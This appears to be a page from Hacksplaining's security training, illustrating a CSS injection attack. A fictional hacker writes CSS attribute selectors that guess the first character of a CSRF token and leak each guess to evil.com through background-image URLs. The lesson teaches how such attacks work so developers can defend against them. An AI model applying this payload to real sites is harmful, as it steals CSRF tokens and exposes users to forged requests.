Hacksplaining Log in

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

Our hacker crafts a malicious CSS payload to extract the data. The CSS selectors interrogate the first character of the CSRF token, and are designed to trigger a call to a domain controlled by the hacker.

Hacker Mal
Malicious CSS (initial payload)
CSS 
input[name='csrf-token'][value^='a'] {
  background: url(https://evil.com/steal?token=a);
}

input[name='csrf-token'][value^='b'] {
  background: url(https://evil.com/steal?token=b);
}

input[name='csrf-token'][value^='c'] {
  background: url(https://evil.com/steal?token=c);
}

input[name='csrf-token'][value^='d'] {
  background: url(https://evil.com/steal?token=d);
}

input[name='csrf-token'][value^='e'] {
  background: url(https://evil.com/steal?token=e);
}